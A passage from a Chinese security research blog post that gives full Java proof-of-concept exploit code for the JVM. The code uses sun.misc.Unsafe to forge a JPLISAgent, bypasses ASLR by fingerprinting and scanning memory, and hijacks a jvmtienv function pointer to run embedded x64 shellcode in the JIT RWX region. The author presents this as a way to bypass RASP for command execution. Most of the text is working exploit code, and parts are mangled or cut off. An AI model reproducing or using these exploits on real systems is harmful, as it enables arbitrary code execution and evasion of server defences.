privatestaticlonggetAgent(longjvmtiAddress){Unsafeunsafe= getUnsafe();longagentAddr=unsafe.allocateMemory(0x200);longjvmtiStackAddr=unsafe.allocateMemory(0x200);unsafe.putLong(jvmtiStackAddr,jvmtiAddress);unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);unsafe.putLong(agentAddr+0x10,agentAddr);unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);//make retransform envunsafe.putLong(agentAddr+0x20,jvmtiStackAddr);unsafe.putLong(agentAddr+0x28,agentAddr);unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);unsafe.putLong(agentAddr+0x38,0);unsafe.putLong(agentAddr+0x40,0);unsafe.putLong(agentAddr+0x48,0);unsafe.putLong(agentAddr+0x50,0);unsafe.putLong(agentAddr+0x58,0x0072007400010001l);unsafe.putLong(agentAddr+0x60,agentAddr+0x68);unsafe.putLong(agentAddr+0x68,0x0041414141414141l);returnagentAddr;}

入参为上一阶段获取的jvmti的地址,返回值为JPLISAgent的地址。

完整POC如下(跨平台):

package net.rebeyond;import sun.misc.Unsafe;import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;publicclassPocWindows{publicstaticvoidmain(String[] args) throws Throwable{Unsafeunsafe= getUnsafe();Thread.sleep(2000);//System.gc();//Thread.sleep(2000);longallocateMemory =unsafe.allocateMemory(3);System.out.println("allocateMemory:"+ Long.toHexString(allocateMemory));String patterns ="'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64//patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64longjvmtiOffset=0x79a220;//for java_8_271_x64jvmtiOffset=0x78a280;//for windows_java_8_301_x64//jvmtiOffset=0xf9c520; //for linux_java_8_301_x64List> patternList =newArrayList>();for(String pair : patterns.split(",")) {String offset = pair.split(":")[0].replace("'","").trim();Stringvalue= pair.split(":")[1].replace("'","").trim();String delta = pair.split(":")[2].replace("'","").trim();Map pattern =newHashMap();pattern.put("offset", offset);pattern.put("value",value);pattern.put("delta", delta);patternList.add(pattern);}intoffset =8;inttargetHexLength=8;//on linux,change it to 12.for(intj =0; j <0x2000; j++)//down search{for(intx :newint[]{-1,1}) {longtarget =unsafe.getAddress(allocateMemory + j * x * offset);String targetHex = Long.toHexString(target);if(target %8>0|| targetHex.length() != targetHexLength) {continue;}if(targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {continue;}System.out.println("[-]start get "+ Long.toHexString(allocateMemory + j * x * offset) +",at:"+ Long.toHexString(target) +",j is:"+ j);for(Map patternMap : patternList) {targetHex = Long.toHexString(target);if(targetHex.endsWith(patternMap.get("offset"))) {String targetValueHex = Long.toHexString(unsafe.getAddress(target));System.out.println("[!]bingo.");if(targetValueHex.endsWith(patternMap.get("value"))) {System.out.println("[ok]i found agent env:start get "+ Long.toHexString(target) +",at :"+ Long.toHexString(unsafe.getAddress(target)) +",j is:"+ j);System.out.println("[ok]jvm base is "+ Long.toHexString(target - Integer.parseInt(patternMap.get("delta"),16)));System.out.println("[ok]jvmti object addr is "+ Long.toHexString(target - Integer.parseInt(patternMap.get("delta"),16) + jvmtiOffset));//long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;longjvmtiAddress = target - Integer.parseInt(patternMap.get("delta"),16) + jvmtiOffset;longagentAddress = getAgent(jvmtiAddress);System.out.println("agentAddress:"+ Long.toHexString(agentAddress));Bird bird =newBird();bird.sayHello();doAgent(agentAddress);//doAgent(Long.parseLong(address));bird.sayHello();return;}}}}}}privatestaticlonggetAgent(longjvmtiAddress){Unsafeunsafe= getUnsafe();longagentAddr =unsafe.allocateMemory(0x200);longjvmtiStackAddr =unsafe.allocateMemory(0x200);unsafe.putLong(jvmtiStackAddr, jvmtiAddress);unsafe.putLong(jvmtiStackAddr +8,0x30010100000071eel);unsafe.putLong(jvmtiStackAddr +0x168,0x9090909000000200l);System.out.println("long:"+ Long.toHexString(jvmtiStackAddr +0x168));unsafe.putLong(agentAddr, jvmtiAddress -0x234f0);unsafe.putLong(agentAddr +0x8, jvmtiStackAddr);unsafe.putLong(agentAddr +0x10, agentAddr);unsafe.putLong(agentAddr +0x18,0x00730065006c0000l);//make retransform envunsafe.putLong(agentAddr +0x20, jvmtiStackAddr);unsafe.putLong(agentAddr +0x28, agentAddr);unsafe.putLong(agentAddr +0x30,0x0038002e00310001l);unsafe.putLong(agentAddr +0x38,0);unsafe.putLong(agentAddr +0x40,0);unsafe.putLong(agentAddr +0x48,0);unsafe.putLong(agentAddr +0x50,0);unsafe.putLong(agentAddr +0x58,0x0072007400010001l);unsafe.putLong(agentAddr +0x60, agentAddr +0x68);unsafe.putLong(agentAddr +0x68,0x0041414141414141l);returnagentAddr;}privatestaticvoiddoAgent(longaddress) throws Exception{Class cls = Class.forName("sun.instrument.InstrumentationImpl");for(inti =0; i < cls.getDeclaredConstructors().length; i++) {Constructor constructor = cls.getDeclaredConstructors()[i];constructor.setAccessible(true);Object obj = constructor.newInstance(address,true,true);for(Field f : cls.getDeclaredFields()) {f.setAccessible(true);if(f.getName().equals("mEnvironmentSupportsRedefineClasses")) {//System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));}}for(Method m : cls.getMethods()) {if(m.getName().equals("redefineClasses")) {//System.out.println("redefineClasses:" + m);String newBirdClassStr ="yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=";Bird bird =newBird();ClassDefinition classDefinition =newClassDefinition(bird.getClass(),Base64.getDecoder().decode(newBirdClassStr));ClassDefinition[] classDefinitions =newClassDefinition[]{classDefinition};try{//Thread.sleep(5000);m.invoke(obj,newObject[]{classDefinitions});}catch(Exception e) {e.printStackTrace();}}}//System.out.println("instrument obj:" + obj);//System.out.println("constr:" + cls.getDeclaredConstructors()[i]);}}privatestaticUnsafegetUnsafe(){Unsafeunsafe=null;try{Field field = Unsafe.class.getDeclaredField("theUnsafe");field.setAccessible(true);unsafe= (Unsafe) field.get(null);}catch(Exception e) {thrownewAssertionError(e);}returnunsafe;}}

Bird.java

package net.rebeyond;publicclassBird{publicvoidsayHello(){System.out.println("hello!");}}

编译,运行:

上述环境是win10+Jdk1.8.0_301_x64,注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹,如果是其他OS或者JDK版本,指纹库需要对应更新。

可以看到,我们成功通过纯Java代码实现了动态修改类字节码。

按照惯例,我提出一种新的技术理论的时候,一般会直接给出一个下载即可用的exp,但是现在为了合规起见,此处只给出demo,不再提供完整的利用工具。

Java跨平台任意Native代码执行

确定入口

上文中,我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术,当注入的目标进行为-1时,可以往当前Java进程注入shellcode,实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的:)

上一小节我们在伪造JPLISAgent对象的时候,留意到redefineClasses函数里面有这种代码:


allocate函数的第一个参数是jvmtienv指针,我们跟进allocate函数:

voidallocate(jvmtiEnv * jvmtienv,size_tbytecount){void resultBuffer =NULL;jvmtiError error = JVMTI_ERROR_NONE;error = (jvmtienv)->Allocate(jvmtienv,bytecount,(unsignedchar) &resultBuffer);/ may be called from any phase */jplis_assert(error == JVMTI_ERROR_NONE);if( error != JVMTI_ERROR_NONE ) {resultBuffer =NULL;}returnresultBuffer;}

可以看到最终是调用的jvmtienv对象的一个成员函数,先看一下真实的jvmtienv是什么样子:

对象里是很多函数指针,看到这里,如果你经常分析二进制漏洞的话,可能会马上想到这里jvmtienv是我们完全可控的,我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。

构造如下POC:

先动态调试看一下我们布局的payload:

0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址,我们从这里开始布局JPLISAgent对象,0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针,跟进0x219d1b1a820,其值为指向真实的jvmtienv对象的指针,这里我们把他指向了他自己0x219d1b1a820,接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168,我们只要覆盖0x219d1b1a820+0x168(0x219d1b1a988)的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990,紧跟在0x219d1b1a988的后面,然后往0x219d1b1a990写入shellcode。

编译,运行:

进程crash了,报的异常是意料之中,仔细看下报的异常:

EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc

内存访问异常,但是pc的值是0x00000219d1b1a990,这就是我们shellcode的首地址。说明我们的payload布置是正确的,只不过系统开启了NX(DEP),导致我们没办法去执行shellcode,下图是异常的现场,可见RIP已经到了shellcode:

绕过NX(DEP)

上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上,不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢?熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE,而Java也是有JIT特性的,通过分析进程内存布局,可以看到Java进程确实也存在这样一个区域,如下图:

我们只要通过unsafe把shellcode写入这个区域即可。但是,还有ASLR,需要绕过ASLR才能获取到这块JIT区域。

绕过ASLR

在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法,这个方法在这里同样适用。不过,这里我想换一种方法,因为通过指纹匹配的方式,需要针对不同的Java版本做适配,还是比较麻烦的。这里采用了搜索内存的方法,如下:

package net.rebeyond;import sun.misc.Unsafe;import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;publicclassPocForRCE{publicstaticvoidmain(String [] args) throws Throwable{bytebuf[] =newbyte[]{(byte)0x41, (byte)0x48, (byte)0x83, (byte)0xe4, (byte)0xf0, (byte)0xe8, (byte)0xc0, (byte)0x00,(byte)0x00, (byte)0x00, (byte)0x41, (byte)0x51, (byte)0x41, (byte)0x50, (byte)0x52, (byte)0x51,(byte)0x56, (byte)0x48, (byte)0x31, (byte)0xd2, (byte)0x65, (byte)0x48, (byte)0x8b, (byte)0x52,(byte)0x60, (byte)0x48, (byte)0x8b, (byte)0x52, (byte)0x18, (byte)0x48, (byte)0x8b, (byte)0x52,(byte)0x20, (byte)0x48, (byte)0x8b, (byte)0x72, (byte)0x50, (byte)0x48, (byte)0x0f, (byte)0xb7,(byte)0x4a, (byte)0x4a, (byte)0x4d, (byte)0x31, (byte)0xc9, (byte)0x48, (byte)0x31, (byte)0xc0,(byte)0xac, (byte)0x3c, (byte)0x61, (byte)0x7c, (byte)0x02, (byte)0x2c, (byte)0x20, (byte)0x41,(byte)0xc1, (byte)0xc9, (byte)0x0d, (byte)0x41, (byte)0x01, (byte)0xc1, (byte)0xe2, (byte)0xed,(byte)0x52, (byte)0x41, (byte)0x51, (byte)0x48, (byte)0x8b, (byte)0x52, (byte)0x20, (byte)0x8b,(byte)0x42, (byte)0x3c, (byte)0x48, (byte)0x01, (byte)0xd0, (byte)0x8b, (byte)0x80, (byte)0x88,(byte)0x00, (byte)0x00, (byte)0x00, (byte)0x48, (byte)0x85, (byte)0xc0, (byte)0x74, (byte)0x67,(byte)0x48, (byte)0x01, (byte)0xd0, (byte)0x50, (byte)0x8b, (byte)0x48, (byte)0x18, (byte)0x44,(byte)0x8b, (byte)0x40, (byte)0x20, (byte)0x49, (byte)0x01, (byte)0xd0, (byte)0xe3, (byte)0x56,(byte)0x48, (byte)0xff, (byte)0xc9, (byte)0x41, (byte)0x8b, (byte)0x34, (byte)0x88, (byte)0x48,(byte)0x01, (byte)0xd6, (byte)0x4d, (byte)0x31, (byte)0xc9, (byte)0x48, (byte)0x31, (byte)0xc0,(byte)0xac, (byte)0x41, (byte)0xc1, (byte)0xc9, (byte)0x0d, (byte)0x41, (byte)0x01, (byte)0xc1,(byte)0x38, (byte)0xe0, (byte)0x75, (byte)0xf1, (byte)0x4c, (byte)0x03, (byte)0x4c, (byte)0x24,(byte)0x08, (byte)0x45, (byte)0x39, (byte)0xd1, (byte)0x75, (byte)0xd8, (byte)0x58, (byte)0x44,(byte)0x8b, (byte)0x40, (byte)0x24, (byte)0x49, (byte)0x01, (byte)0xd0, (byte)0x66, (byte)0x41,(byte)0x8b, (byte)0x0c, (byte)0x48, (byte)0x44, (byte)0x8b, (byte)0x40, (byte)0x1c, (byte)0x49,(byte)0x01, (byte)0xd0, (byte)0x41, (byte)0x8b, (byte)0x04, (byte)0x88, (byte)0x48, (byte)0x01,(byte)0xd0, (byte)0x41, (byte)0x58, (byte)0x41, (byte)0x58, (byte)0x5e, (byte)0x59, (byte)0x5a,(byte)0x41, (byte)0x58, (byte)0x41, (byte)0x59, (byte)0x41, (byte)0x5a, (byte)0x48, (byte)0x83,(byte)0xec, (byte)0x20, (byte)0x41, (byte)0x52, (byte)0xff, (byte)0xe0, (byte)0x58, (byte)0x41,(byte)0x59, (byte)0x5a, (byte)0x48, (byte)0x8b, (byte)0x12, (byte)0xe9, (byte)0x57, (byte)0xff,(byte)0xff, (byte)0xff, (byte)0x5d, (byte)0x48, (byte)0xba, (byte)0x01, (byte)0x00, (byte)0x00,(byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x48, (byte)0x8d, (byte)0x8d,(byte)0x01, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x41, (byte)0xba, (byte)0x31, (byte)0x8b,(byte)0x6f, (byte)0x87, (byte)0xff, (byte)0xd5, (byte)0xbb, (byte)0xf0, (byte)0xb5, (byte)0xa2,(byte)0x56, (byte)0x41, (byte)0xba, (byte)0xa6, (byte)0x95, (byte)0xbd, (byte)0x9d, (byte)0xff,(byte)0xd5, (byte)0x48, (byte)0x83, (byte)0xc4, (byte)0x28, (byte)0x3c, (byte)0x06, (byte)0x7c,(byte)0x0a, (byte)0x80, (byte)0xfb, (byte)0xe0, (byte)0x75, (byte)0x05, (byte)0xbb, (byte)0x47,(byte)0x13, (byte)0x72, (byte)0x6f, (byte)0x6a, (byte)0x00, (byte)0x59, (byte)0x41, (byte)0x89,(byte)0xda, (byte)0xff, (byte)0xd5, (byte)0x63, (byte)0x61, (byte)0x6c, (byte)0x63, (byte)0x2e,(byte)0x65, (byte)0x78, (byte)0x65, (byte)0x00};Unsafeunsafe=null;try{Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");field.setAccessible(true);unsafe= (sun.misc.Unsafe) field.get(null);}catch(Exception e) {thrownewAssertionError(e);}longsize = buf.length+0x178;// a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)longallocateMemory =unsafe.allocateMemory(size);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));Map map=newHashMap();map.put("X","y");//unsafe.putObject(map,allocateMemory+0x10,ints);//unsafe.putByte(allocateMemory,);PocForRCE poc=newPocForRCE();for(inti=0;i<10000;i++){poc.b(33);}Thread.sleep(2000);for(intk=0;k<10000;k++){longtmp=unsafe.allocateMemory(0x4000);//unsafe.putLong(tmp+0x3900,tmp);//System.out.println("alloce:"+Long.toHexString(tmp));}longshellcodeBed =0;intoffset=4;for(intj=-0x1000;j<0x1000;j++)//down search{longtarget=unsafe.getAddress(allocateMemory+joffset);System.out.println("start get "+Long.toHexString(allocateMemory+joffset)+",adress:"+Long.toHexString(target)+",now j is :"+j);if(target%8>0){continue;}if(target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl)){if((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)){continue;}if(Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")){System.out.println("maybe error address,skip "+Long.toHexString(target));continue;}System.out.println("BYTE:"+unsafe.getByte(target));//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));if(unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66){System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-joffset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));shellcodeBed=target;break;}}}if(shellcodeBed==0){for(intj=-0x100;j<0x800;j++)//down search{longtarget=unsafe.getAddress(allocateMemory+joffset);System.out.println("start get "+Long.toHexString(allocateMemory+joffset)+",adress:"+Long.toHexString(target)+",now j is :"+j);if(target%8>0){continue;}if(target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl)){if((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)){continue;}if(Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")){System.out.println("maybe error address,skip "+Long.toHexString(target));continue;}System.out.println("BYTE:"+unsafe.getByte(target));//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));if(unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48){System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-joffset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));shellcodeBed=target;break;}}}}System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);String address="";allocateMemory=shellcodeBed;address=allocateMemory+"";Class cls=Class.forName("sun.instrument.InstrumentationImpl");Constructor constructor=cls.getDeclaredConstructors()[0];constructor.setAccessible(true);Object obj=constructor.newInstance(Long.parseLong(address),true,true);Method redefineMethod=cls.getMethod("redefineClasses",newClass[]{ClassDefinition[].class});ClassDefinition classDefinition=newClassDefinition(Class.class,newbyte[]{});ClassDefinition[] classDefinitions=newClassDefinition[]{classDefinition};try{unsafe.putLong(allocateMemory+8,allocateMemory+0x10);//set jvmtienv point to it's next memory regionunsafe.putLong(allocateMemory+8+8,allocateMemory+0x10);//set jvmtienv point to itselfunsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8);//overwrite allocate function pointer to allocateMemory+0x10+0x168+8for(intk=0;k1){// System.out.println("x>1");}else{// System.out.println("x<=1");}returnx1;}privatevoidb(intx){if(a(x)>1){//System.out.println("x>1");this.a(x);}else{this.a(x+4);// System.out.println("x<=1");}}}

编译,运行,成功执行了shellcode,弹出计算器。

到此,我们通过纯Java代码实现了跨平台的任意Native代码执行,从而可以解锁很多新玩法,比如绕过RASP实现命令执行、文件读写、数据库连接等等。

小结

本文主要介绍了几种我最近研究的内存相关的攻击方法,欢迎大家交流探讨,文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了,所以行文略有仓促,若有纰漏之处,欢迎批评指正。

原文链接:https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw